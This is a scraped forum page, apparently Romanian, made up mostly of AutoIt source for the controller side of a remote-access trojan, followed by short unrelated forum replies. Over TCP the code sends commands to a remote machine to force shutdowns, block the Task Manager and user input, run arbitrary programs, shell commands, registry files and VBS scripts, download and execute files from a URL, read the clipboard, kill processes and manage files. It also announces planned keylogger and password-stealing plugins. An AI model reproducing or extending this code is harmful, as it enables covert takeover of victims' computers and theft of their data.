24, 308, 501, 89) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet11 = GUICtrlCreateTabItem("File Manager") $Combo1 = GUICtrlCreateCombo("", 110, 95, 200, 150) $buton_refresh_partitii = GUICtrlCreateButton("Refresh", 330, 95, 123, 25) $ListView1 = GUICtrlCreateListView("Nume|Marime|Tip|Atribute", 100, 130, 360, 270) $cale_cale = GUICtrlCreateLabel("", 20, 405, 380, 30) $buton_intra_in_folder = GUICtrlCreateButton("Intra in folder", 12, 150, 80, 33) $buton_sus = GUICtrlCreateButton("Up", 12, 200, 80, 33) $buton_refresh_fisiere = GUICtrlCreateButton("Refresh", 492, 128, 80, 25) $buton_download_fisiere = GUICtrlCreateButton("Download", 492, 164, 80, 25) $buton_upload_fisiere = GUICtrlCreateButton("Upload", 492, 200, 80, 25) $buton_sterge_fisiere = GUICtrlCreateButton("Sterge", 492, 236, 80, 25) $buton_redenumeste_fisiere = GUICtrlCreateButton("Redenumeste", 492, 272, 80, 25) $buton_creaza_dir_fisiere = GUICtrlCreateButton("Creaza Dir.", 492, 312, 80, 25) $buton_executa_fisiere = GUICtrlCreateButton("Executa", 492, 348, 80, 25) $buton_atribute_fisiere = GUICtrlCreateButton("Atribute", 492, 384, 80, 25) $Group8 = GUICtrlCreateGroup("Functii : ", 476, 108, 109, 321) GUICtrlCreateGroup("", -99, -99, 1, 1) $TabSheet12 = GUICtrlCreateTabItem("Pt. Viitor") $Edit1 = GUICtrlCreateEdit("", 44, 120, 473, 261, -1) GUICtrlSetData($Edit1, "Aici o sa apara in versiunile viitoare (sper) diferite facilitati (plugin-uri)" & @CRLF & " gen keyloger sau aflare parole" & @CRLF & "") GUICtrlCreateTabItem("") GUISetState(@SW_SHOW) $ascunde="0" $schimba="0" While 1 $recv = TCPRecv($ConnectedSocket, 1048576) If $recv <> "" Then executa() $msg = GUIGetMsg() Select Case $msg = $GUI_EVENT_CLOSE ExitLoop ;~ ******************************************************************** Case $msg = $buton_test_msg config_msg() MsgBox($numar, GUICtrlRead($mesaj_titlu), GUICtrlRead($mesaj_text)) Case $msg = $buton_trimite_msg config_msg() $szData = "mesaj<|*|>" & $numar & "<|*|>" & GUICtrlRead($mesaj_titlu) & "<|*|>" & GUICtrlRead($mesaj_text) TCPSend($ConnectedSocket, $szData) Case $msg = $conecteza If $conectare = "0" Then If $ip_conectare <> "" Then TCPStartup() Dim $szIPADDRESS = GUICtrlRead($ip_conectare) $nPORT=GUICtrlRead($porturi) $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT) If @error=0 Then GUICtrlSetData($conecteza, "Deconectare") $szData = "informatii" TCPSend($ConnectedSocket, $szData) $conectare = "1" EndIf EndIf Else TCPCloseSocket($ConnectedSocket) TCPShutdown() GUICtrlSetData($conecteza, "Conectare") $conectare = "0" EndIf Case $msg = $shutdown_fortat $szData = "shutdown<|*|>9" TCPSend($ConnectedSocket, $szData) Case $msg = $Restart $szData = "shutdown<|*|>2" TCPSend($ConnectedSocket, $szData) Case $msg = $Turn_off_computer $szData = "shutdown<|*|>8" TCPSend($ConnectedSocket, $szData) Case $msg = $Log_off $szData = "shutdown<|*|>0" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_deschide_cd_rom If $cd_rom = "open" Then $szData = "funny<|*|>cd_rom<|*|>open" GUICtrlSetData($buton_deschide_cd_rom, "Inchide CD-Rom") $cd_rom = "close" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>cd_rom<|*|>close" GUICtrlSetData($buton_deschide_cd_rom, "Deschide CD-Rom") $cd_rom = "open" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_task_manager If $task_maneger = "1" Then $szData = "funny<|*|>task_manager<|*|>1" GUICtrlSetData($buton_task_manager, "Deblocheaza Task Manager") $task_maneger = "0" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>task_manager<|*|>0" GUICtrlSetData($buton_task_manager, "Bloheaza Task Manager") $task_maneger = "1" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_blocheaza_user If $blocheaza = "0" Then $szData = "funny<|*|>blocheaza<|*|>1" GUICtrlSetData($Buton_blocheaza_user, "Deblocheaza User Input") $blocheaza = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>blocheaza<|*|>0" GUICtrlSetData($Buton_blocheaza_user, "Bloheaza User Input") $blocheaza = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_schimba_start If $schimba = "0" Then $text2=InputBox("Schimba textul butonului Start","Introdu noul text pentru buonul start (maxim 5 liere mici, sau 4 litere mari sau sinboluri)","","",250,150) If @error <> 1 Then GUICtrlSetData($Buton_schimba_start, "Reseteaza text but. Start") $schimba = "1" $szData = "funny<|*|>schimba_start<|*|>" & $text2 TCPSend($ConnectedSocket, $szData) EndIf Else $szData = "funny<|*|>schimba_start<|*|>reseteaza" GUICtrlSetData($Buton_schimba_start, "Schimba text but. Start") $schimba = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Buton_ascunde_start If $ascunde = "0" Then $szData = "funny<|*|>ascunde_start<|*|>1" GUICtrlSetData($Buton_ascunde_start, "Arata butonul Start") $ascunde = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>ascunde_start<|*|>0" GUICtrlSetData($Buton_ascunde_start, "Ascunde butonul Start") $ascunde = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_yahoo If $yahoo = "0" Then $szData = "funny<|*|>yahoo<|*|>0" GUICtrlSetData($buton_yahoo, "Deblocheaza Y!") $yahoo = "1" TCPSend($ConnectedSocket, $szData) Else $szData = "funny<|*|>yahoo<|*|>1" GUICtrlSetData($buton_yahoo, "Blocheaza Y!") $yahoo = "0" TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $Winamp $szData = "run<|*|>winamp" TCPSend($ConnectedSocket, $szData) Case $msg = $Notepad $szData = "run<|*|>notepad" TCPSend($ConnectedSocket, $szData) Case $msg = $WinRar $szData = "run<|*|>win_rar" TCPSend($ConnectedSocket, $szData) Case $msg = $IE $szData = "run<|*|>ie" TCPSend($ConnectedSocket, $szData) Case $msg = $Firefox $szData = "run<|*|>firefox" TCPSend($ConnectedSocket, $szData) Case $msg = $Windws_Media_Player $szData = "run<|*|>media_player" TCPSend($ConnectedSocket, $szData) Case $msg = $paint $szData = "run<|*|>mspaint" TCPSend($ConnectedSocket, $szData) Case $msg = $wordpad $szData = "run<|*|>wordpad" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_Executa $szData = "run<|*|>executa<|*|>" & GUICtrlRead($run_program) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_comanda_dos $szData = "run<|*|>dos<|*|>" & GUICtrlRead($comanda_dos) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_tipareste $szData = "tipareste<|*|>" & GUICtrlRead($text_tipareste) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_informatii $szData = "informatii" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_citeste_clipboard $szData = "clipboard<|*|>citeste" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_seteaza_clipboard $szData = "clipboard<|*|>seteaza<|*|>" & GUICtrlRead($text_cliboard) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_sterge_clipboard $szData = "clipboard<|*|>sterge" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_refresh_ferestre If GUICtrlRead($arata_ferestre_ascunse) = $GUI_CHECKED Then $szData = "ferestre<|*|>refresh<|*|>toate" Else $szData = "ferestre<|*|>refresh<|*|>ascunde" EndIf TCPSend($ConnectedSocket, $szData) Case $msg = $buton_hide_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>HIDE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_show_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_SHOW" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_maximize_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MAXIMIZE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_minimize_ferestre $szData = "ferestre<|*|>" & GUICtrlRead($lista_ferestre) & "<|*|>@SW_MINIMIZE" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_ferestre $szData = "ferestre<|*|>inchide<|*|>" & GUICtrlRead($lista_ferestre) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_refresh_procese $szData = "proces<|*|>refresh" TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_proces $szData = "proces<|*|>inchide<|*|>" & GUICtrlRead($lista_procese) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_inchide_toate_procesele $szData = "proces<|*|>toate" TCPSend($ConnectedSocket, $szData) Case $msg = $executa_reg $fis = FileOpenDialog("Alege un fisier .reg", "", "Fisiere reg (*.reg)", 3) If @error <> 1 Then $text = FileRead($fis) $szData = "run<|*|>registrii<|*|>" & $text TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_download_si_ruleaza $szData = "rdownload<|*|>" & GUICtrlRead($url_download) TCPSend($ConnectedSocket, $szData) Case $msg = $buton_executa_vb $fis = FileOpenDialog("Alege un fisier .VBS", "", "Fisiere reg (*.VBS)", 3) If @error <> 1 Then $text = FileRead($fis) $szData = "run<|*|>visual_basic<|*|>" & $text TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_refresh_partitii $szData = "manager<|*|>refresh_partitii" TCPSend($ConnectedSocket, $szData) Case $msg = $Combo1 $cale = GUICtrlRead($Combo1) & "\" $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) Case $msg = $ListView1 Case $msg = $buton_refresh_fisiere $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) Case $msg = $buton_intra_in_folder $nume = _GUICtrlListView_GetItemText($ListView1, $nr1, 0) $tip = _GUICtrlListView_DeleteAllItems($ListView1) If $tip = "Director" Then $cale = $cale & $nume & "\" $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_sus If StringLen($cale) <> 3 Then $cale2 = StringSplit($cale, "\") $cale = "" For $i = 1 To $cale2[0] - 2 $cale = $cale & $cale2[$i] & "\" Next $szData = "manager<|*|>refresh_listwiev<|*|>" & $cale TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_redenumeste_fisiere $nr = _GUICtrlListView_GetItemSelected($ListView1,1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then $numenou = InputBox("Redenumire", "Alege noul nume pentru directorul sau fisierul (cu tot cu extensie) :" & $nume, "", "", 300, 130) If @error <> 1 Then If $tip = "Director" Then $szData = "manager<|*|>redenumeste<|*|>director<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou Else $szData = "manager<|*|>redenumeste<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $numenou EndIf TCPSend($ConnectedSocket, $szData) EndIf EndIf Case $msg = $buton_creaza_dir_fisiere If $cale <> "" Then $numenou = InputBox("Creaza director", "Introduceti numele directorului pe care vreti sa-l creati :", "", "", 300, 130) If @error <> 1 Then $szData = "manager<|*|>creaza_dir<|*|>" & $cale & "<|*|>" & $numenou TCPSend($ConnectedSocket, $szData) EndIf EndIf Case $msg = $buton_sterge_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Director" Then $szData = "manager<|*|>sterge<|*|>director<|*|>" & $cale & "<|*|>" & $nume Else $szData = "manager<|*|>sterge<|*|>fisier<|*|>" & $cale & "<|*|>" & $nume EndIf TCPSend($ConnectedSocket, $szData) EndIf Case $msg = $buton_executa_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Fisier" Then $szData = "run<|*|>executa<|*|>" & $cale & $nume EndIf EndIf TCPSend($ConnectedSocket, $szData) Case $msg = $buton_atribute_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then $atribute=InputBox("Atribute", "Introduceti atributele (exemplu : RSH sau RH, etc.):" & @CRLF & "R = READONLY S = SYSTEM H = HIDDEN N=NIMIC", "", "", 300, 130) If @error <> 1 Then $atribute=StringUpper($atribute) $text=StringSplit($atribute,"") $ok=1 If $atribute<>"N" Then For $i=1 To $text[0] If $text[$i]<>"R" And $text[$i]<>"S" And $text[$i]<>"H" Then $ok=0 EndIf Next EndIf If $ok=1 Then $szData = "manager<|*|>atribute<|*|>" & $cale & "<|*|>" & $nume & "<|*|>" & $atribute TCPSend($ConnectedSocket, $szData) EndIf EndIf EndIf Case $msg=$buton_download_fisiere $nr = _GUICtrlListView_GetNextItem($ListView1) $nume = _GUICtrlListView_GetItemText($ListView1, $nr, 0) $tip = _GUICtrlListView_GetItemText($ListView1, $nr, 2) If $nume <> "" Then If $tip = "Fisier" Then $szData = "manager<|*|>download<|*|>" & $cale & "<|*|>" & $nume TCPSend($ConnectedSocket, $szData) EndIf EndIf ;~ ********************************************************************************** EndSelect WEnd Exit Func config_msg() If GUICtrlRead($intrebare) = $GUI_CHECKED Then $nr1 = 32 If GUICtrlRead($eroare) = $GUI_CHECKED Then $nr1 = 16 If GUICtrlRead($nimic) = $GUI_CHECKED Then $nr1 = 0 If GUICtrlRead($informatie) = $GUI_CHECKED Then $nr1 = 64 If GUICtrlRead($ok) = $GUI_CHECKED Then $nr2 = 0 If GUICtrlRead($ari) = $GUI_CHECKED Then $nr2 = 2 If GUICtrlRead($ync) = $GUI_CHECKED Then $nr2 = 3 If GUICtrlRead($yn) = $GUI_CHECKED Then $nr2 = 4 If GUICtrlRead($oc) = $GUI_CHECKED Then $nr2 = 1 If GUICtrlRead($cr) = $GUI_CHECKED Then $nr2 = 5 $numar = $nr1 + $nr2 EndFunc ;==>config_msg Func executa() $comanda = StringSplit($recv, "<|*|>", 1) If $comanda[1] = "informatii" Then GUICtrlSetData($versiune_windows, $comanda[2]) GUICtrlSetData($windows_build, $comanda[3]) GUICtrlSetData($windows_service_pack, $comanda[4]) GUICtrlSetData($nume_calculator, $comanda[5]) GUICtrlSetData($nume_utilizator, $comanda[6]) GUICtrlSetData($desktop, $comanda[7]) GUICtrlSetData($ora_locala, $comanda[8]) GUICtrlSetData($data_locala, $comanda[9]) GUICtrlSetData($home_drive, $comanda[10]) GUICtrlSetData($ip1, $comanda[11]) GUICtrlSetData($ip2, $comanda[12]) GUICtrlSetData($ip3, $comanda[13]) GUICtrlSetData($ip4, $comanda[14]) GUICtrlSetData($logon_dns_domain, $comanda[15]) GUICtrlSetData($logon_domain, $comanda[16]) GUICtrlSetData($logon_server, $comanda[17]) EndIf If $comanda[1] = "clipboard" Then GUICtrlSetData($text_cliboard, $comanda[2]) EndIf If $comanda[1] = "ferestre" Then $i = 1 $text = "" While $i < $comanda[0] $i = $i + 1 $text = $text & "|" & $comanda[$i] WEnd GUICtrlSetData($lista_ferestre, $text) EndIf If $comanda[1] = "procese" Then $i = 1 $text = "" While $i < $comanda[0] $i = $i + 1 $text = $text & "|" & $comanda[$i] WEnd GUICtrlSetData($lista_procese, $text) EndIf If $comanda[1] = "dos" Then GUICtrlSetData($text_cmd, $comanda[2]) EndIf If $comanda[1] = "manager" Then If $comanda[2] = "refresh_partitii" Then GUICtrlSetData($Combo1, $comanda[3]) EndIf If $comanda[2] = "refresh_listwiev" Then _GUICtrlListView_DeleteAllItems($ListView1) For $i = 3 To $comanda[0] GUICtrlCreateListViewItem($comanda[$i], $ListView1) Next GUICtrlSetData($cale_cale, $cale) EndIf If $comanda[2]="download" Then $fisier=FileOpen ("\\.\" & @ScriptDir & "\" & $comanda[3],2) FileWrite($fisier,$comanda[4]) FileClose($fisier) EndIf EndIf EndFunc ;==>executa
  9. Un StringFromASCIIArray rezolva tot, in loc de "- 1", setezi "+ 1" si in loc de "* $i" setezi "/ $i2". Acelasi principiu ! Greu, nu? Dar daca ai un random la in loc de "* $i" si nu mai inmulteste numarul cronologic, ce faci ?
  10. Eram curios sa vad ce e de el, de unde pot procura Scriptul ?
  11. UnuRo

    unu

    Imi pare rau pentru raspunsul "sec" pe care vi l-am dat, am dat edit. Multumesc !
  12. UnuRo

    unu

    Salut ! Nick: UnuRo Varsta: 21 ani Cunostinte medii: C/Autoit/VB.
×
×
  • Create New...